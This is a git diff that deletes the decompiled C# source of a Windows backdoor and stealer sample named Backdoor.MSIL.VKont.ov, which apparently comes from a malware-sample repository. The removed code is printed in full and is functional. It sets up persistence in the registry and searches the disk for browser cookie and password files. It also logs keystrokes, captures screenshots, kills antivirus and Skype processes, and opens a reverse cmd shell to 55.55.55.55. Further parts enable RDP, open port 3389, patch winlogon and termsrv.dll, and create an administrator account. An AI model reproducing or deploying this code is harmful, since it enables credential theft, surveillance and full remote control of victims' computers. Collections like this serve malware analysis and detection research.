fileStream.Read(buffer, 0, count1)) - requestStream.Write(buffer, 0, count2); - requestStream.Close(); - fileStream.Close(); - return true; - } - catch - { - return false; - } - } - - public static void userVista( - string disk, - string n_file, - string m_send, - string smail, - string sftp, - string spapka) - { - if (m_send == "c_send") - { - try - { - string path = "C:\\Users"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka); - } - } - } - } - catch - { - } - } - } - catch - { - } - } - if (!(m_send == "p_send")) - return; - Program.SearchAll(disk, n_file, smail, sftp, spapka); - } - - public static void CreatFileIEforVista(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("null")) - System.IO.File.Delete("@null"); - try - { - string path = "C:\\Users"; - string searchPattern = "*.txt"; - string[] directories = Directory.GetDirectories(path); - for (int index = 0; index < directories.Length; ++index) - { - try - { - if (!(directories[index] == path + "\\All Users")) - { - if (!(directories[index] == path + "\\Default")) - { - if (!(directories[index] == path + "\\Default User")) - { - if (!(directories[index] == path + "\\Public")) - { - foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies")) - { - try - { - DirectoryInfo directoryInfo = new DirectoryInfo(directory); - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8); - foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly)) - { - streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read)); - string str = file.FullName + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - } - catch - { - } - } - } - } - } - } - } - catch - { - } - } - Program.CherezShto("null", smail, sftp, spapka); - } - catch - { - } - } - - [STAThread] - private static void Main(string[] args) - { - Console.Title = args.Length != 0 ? args[0].ToString() : "Hello"; - Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0); - try - { - FileInfo fileInfo = new FileInfo(Environment.GetCommandLineArgs()[0]); - if (args.Length == 0) - { - Process.Start(new ProcessStartInfo() - { - Verb = "runas", - FileName = Environment.CurrentDirectory + "\\" + fileInfo.Name, - Arguments = "administrator", - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true - }); - } - else - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true); - registryKey.SetValue("C:\\Users\\media\\Desktop\\Cтилер\\erer.exe", (object) Application.ExecutablePath); - registryKey.SetValue("C:/Windows\\erer.exe", (object) "C:/Windows\\erer.exe"); - System.IO.File.Copy(Application.ExecutablePath, "C:/Windows\\erer.exe"); - new Thread((ThreadStart) (() => - { - Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "wand.dat", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "New_Srealer"); - Program.CreatFileIEforXP("False", "True", "New_Srealer"); - Program.CreatFileIEforVista("False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "*.bip", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "*.qip", "False", "True", "New_Srealer"); - })).Start(); - new Thread(new ThreadStart(Program.key)).Start(); - new Thread(new ThreadStart(Program.Screnn)).Start(); - Thread[] threadArray = new Thread[2] - { - new Thread((ThreadStart) (() => Program.proces("avp"))), - null - }; - threadArray[0].Start(); - threadArray[1] = new Thread((ThreadStart) (() => Program.proces("Skype"))); - threadArray[1].Start(); - new Thread((ThreadStart) (() => Program.Backdoor())).Start(); - } - } - catch - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", true); - registryKey.SetValue("C:\\Users\\media\\Desktop\\Cтилер\\erer.exe", (object) Application.ExecutablePath); - registryKey.SetValue("C:/Windows\\erer.exe", (object) "C:/Windows\\erer.exe"); - System.IO.File.Copy(Application.ExecutablePath, "C:/Windows\\erer.exe"); - new Thread((ThreadStart) (() => - { - Program.SearchAll("C:\\", "cookies.sqlite", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "signons.sqlite", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "wand.dat", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "cookies4.dat", "False", "True", "New_Srealer"); - Program.CreatFileIEforXP("False", "True", "New_Srealer"); - Program.CreatFileIEforVista("False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "Owner.MDB", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "*.bip", "False", "True", "New_Srealer"); - Program.SearchAll("C:\\", "*.qip", "False", "True", "New_Srealer"); - })).Start(); - new Thread(new ThreadStart(Program.key)).Start(); - new Thread(new ThreadStart(Program.Screnn)).Start(); - Thread[] threadArray = new Thread[2] - { - new Thread((ThreadStart) (() => Program.proces("avp"))), - null - }; - threadArray[0].Start(); - threadArray[1] = new Thread((ThreadStart) (() => Program.proces("Skype"))); - threadArray[1].Start(); - new Thread((ThreadStart) (() => Program.Backdoor())).Start(); - } - } - - public static void Backdoor() - { - try - { - Thread tsend = new Thread((ThreadStart) (() => - { - try - { - Program.processCmd = new Process(); - Program.processCmd.StartInfo.FileName = "cmd.exe"; - Program.processCmd.StartInfo.CreateNoWindow = true; - Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - Program.processCmd.StartInfo.UseShellExecute = false; - Program.processCmd.StartInfo.RedirectStandardOutput = true; - Program.processCmd.StartInfo.RedirectStandardInput = true; - Program.processCmd.StartInfo.RedirectStandardError = true; - Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc); - Program.processCmd.Start(); - Program.processCmd.BeginOutputReadLine(); - Program.strInput = new StringBuilder(); - try - { - while (true) - { - Program.strInput.Append(Program.streamReader.ReadLine()); - Program.strInput.Append("\n"); - Program.processCmd.StandardInput.WriteLine((object) Program.strInput); - Program.processCmd.StandardInput.Flush(); - Program.strInput.Remove(0, Program.strInput.Length); - } - } - catch (Exception ex) - { - } - } - catch - { - } - })); - new Thread((ThreadStart) (() => - { - try - { - Program.socketForServer = new TcpClient("55.55.55.55", 80); - Program.networkStream = Program.socketForServer.GetStream(); - Program.streamReader = new StreamReader((Stream) Program.networkStream); - Program.streamWriter = new StreamWriter((Stream) Program.networkStream); - tsend.Start(); - } - catch - { - } - })).Start(); - } - catch - { - } - } - - private static void proc(object sender, DataReceivedEventArgs e) - { - StringBuilder stringBuilder = new StringBuilder(); - if (string.IsNullOrEmpty(e.Data)) - return; - try - { - stringBuilder.Append(e.Data); - Program.streamWriter.WriteLine((object) stringBuilder); - Program.streamWriter.Flush(); - } - catch - { - } - } - - public static void FileP() - { - try - { - if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache")) - { - int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length; - for (int index = 0; index < length; ++index) - { - try - { - System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]); - } - catch - { - } - } - } - if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot")) - return; - for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1) - { - for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2) - { - FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]); - try - { - Console.WriteLine(fileInfo.Name); - fileInfo.Delete(); - --index2; - } - catch - { - } - } - } - } - catch - { - } - } - - public static void RegConfig() - { - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true); - registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord); - registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord); - registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String); - registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String); - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true); - registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true); - registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true); - registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true); - registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true); - registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true); - registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true); - registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord); - registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true); - registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - } - - public static void RDP_M() - { - } - - public static void WinLogon() - { - try - { - if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe")) - return; - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp"); - FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open); - byte[] buffer = new byte[fileStream.Length]; - fileStream.Read(buffer, 0, (int) fileStream.Length); - buffer[94] = (byte) 110; - buffer[173347] = (byte) 85; - buffer[173348] = (byte) 139; - buffer[173349] = (byte) 236; - buffer[173437] = (byte) 139; - buffer[173438] = byte.MaxValue; - buffer[173439] = (byte) 85; - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create)); - binaryWriter.Write(buffer); - binaryWriter.Close(); - fileStream.Close(); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - } - else - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - } - catch - { - } - } - - public static void TermSrv() - { - string str = Program.TimeNow(); - try - { - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - } - else - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll")) - System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll"); - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - } - } - - public static void CreateUser(string UserName, string Password) - { - try - { - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer"); - DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user"); - directoryEntry2.Invoke("SetPassword", (object) Password); - directoryEntry2.CommitChanges(); - try - { - directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - try - { - directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - } - } - DirectoryEntry directoryEntry3; - try - { - directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - directoryEntry3.Close(); - directoryEntry1.Close(); - directoryEntry2.Close(); - } - catch - { - } - } - - private static void proces(string proc) - { - bool flag = true; - try - { - while (flag) - { - Application.DoEvents(); - Process[] processArray = (Process[]) null; - for (int index = 0; index < processArray.Length; ++index) - { - processArray = Process.GetProcesses(); - Thread.Sleep(20); - if (processArray[index].ProcessName == proc) - { - processArray[index].Kill(); - flag = false; - } - } - } - } - catch - { - } - } - - private static void key() - { - try - { - Thread.Sleep(100); - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Program._hookID = Program.SetHook(Program._proc); - Application.Run(); - Program.UnhookWindowsHookEx(Program._hookID); - } - catch - { - } - } - - private static void Screnn() - { - Thread[] threadArray = new Thread[51]; - for (int index = 1; index <= 5; ++index) - { - Thread.Sleep(TimeSpan.FromSeconds(60.0)); - string time = Program.TimeNow(); - new Program.ScreenShotDll().CaptureScreen("win32" + time + ".Jpeg", ImageFormat.Jpeg); - try - { - threadArray[index] = new Thread((ThreadStart) (() => - { - string str = time; - if (!Program.CherezShto("win32" + str + ".Jpeg", "False", "True", "New_Stealer_Jpeg")) - return; - new FileInfo("win32" + str + ".Jpeg").Delete(); - })); - threadArray[index].Start(); - } - catch - { - } - } - } - - private static bool buffDlin() - { - int length = "null".Length; - return true; - } - - private static bool buffZ() - { - Program.buflyb = (string) null; - int length = "null".Length; - return true; - } - - private static bool buffCritery() => Program.buffZ(); - - private static void strBuffer() - { - bool flag = true; - while (true) - { - do - { - IDataObject dataObject; - do - { - do - { - Application.DoEvents(); - Thread.Sleep(100); - } - while (!flag); - dataObject = Clipboard.GetDataObject(); - } - while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text)); - Program.strbug = (string) dataObject.GetData(DataFormats.Text); - } - while (!flag || !Program.buffCritery()); - Clipboard.SetDataObject((object) "null"); - } - } - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - - public class ScreenShotDll - { - public void CaptureScreen(string fileName, ImageFormat imageFormat) - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - this.SaveImageAs(compatibleBitmap, fileName, imageFormat); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - } - - public Bitmap CaptureScreen() - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - Bitmap image = this.GetImage(compatibleBitmap); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - return image; - } - - private void Cleanup(int hBitmap, int hdcSrc, int hdcDest) - { - Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc); - Program.GDI32.DeleteDC(hdcDest); - Program.GDI32.DeleteObject(hBitmap); - } - - private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat); - - private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height); - } - - private class User32 - { - [DllImport("User32.dll")] - public static extern int GetDesktopWindow(); - - [DllImport("User32.dll")] - public static extern int GetWindowDC(int hWnd); - - [DllImport("User32.dll")] - public static extern int ReleaseDC(int hWnd, int hDC); - } - - private class GDI32 - { - [DllImport("GDI32.dll")] - public static extern bool BitBlt( - int hdcDest, - int nXDest, - int nYDest, - int nWidth, - int nHeight, - int hdcSrc, - int nXSrc, - int nYSrc, - int dwRop); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteObject(int hObject); - - [DllImport("GDI32.dll")] - public static extern int GetDeviceCaps(int hdc, int nIndex); - - [DllImport("GDI32.dll")] - public static extern int SelectObject(int hdc, int hgdiobj); - } - } -} diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.csproj deleted file mode 100644 index 258e7ab1..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B} - Exe - VK - 0.0.0.0 - Troj - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.sln deleted file mode 100644 index 392850c8..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Backdoor.MSIL.VKont.ov.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "VK", "Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732.csproj", "{9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Debug|Any CPU.Build.0 = Debug|Any CPU - {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Release|Any CPU.ActiveCfg = Release|Any CPU - {9FAA9E55-EDB6-44D0-BC78-994905DA3F2B}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Program.cs deleted file mode 100644 index e767167c..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732/Program.cs +++ /dev/null @@ -1,895 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Troj.Program -// Assembly: VK, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64278B1C-A059-4FC3-9B7E-17F3FB265C20 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.ov-df9936daded0633e9fed4e5358e2584ad325737e2b5b8b35a2cb94a450e32732.exe - -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.DirectoryServices; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Troj -{ - public class Program - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private static int svsex; - private static int sdosta; - private static string logkey; - private static int keycount = 0; - private static Thread[] thkey; - private static Thread[] tcherez; - private static int cerezcount = 0; - private static int keyI; - private static string strbug; - private static string strbuftx; - private static string buflyb; - private static int ftpi; - private static int countGroup = 0; - private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - private static Thread th; - private static TcpClient socketForServer; - private static NetworkStream networkStream; - private static StreamWriter streamWriter; - private static StreamReader streamReader; - private static Process processCmd; - private static StringBuilder strInput; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Program.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); - - [DllImport("user32.dll")] - private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - - private static void SearchAll( - string disk, - string n_file, - string smail, - string sftp, - string spapka) - { - DirectoryInfo directoryInfo = new DirectoryInfo(disk); - try - { - foreach (DirectoryInfo directory in directoryInfo.GetDirectories()) - { - try - { - foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly)) - Program.CherezShto(file.FullName, smail, sftp, spapka); - } - catch - { - } - Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka); - } - } - catch - { - } - } - - private static IntPtr SetHook(Program.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using 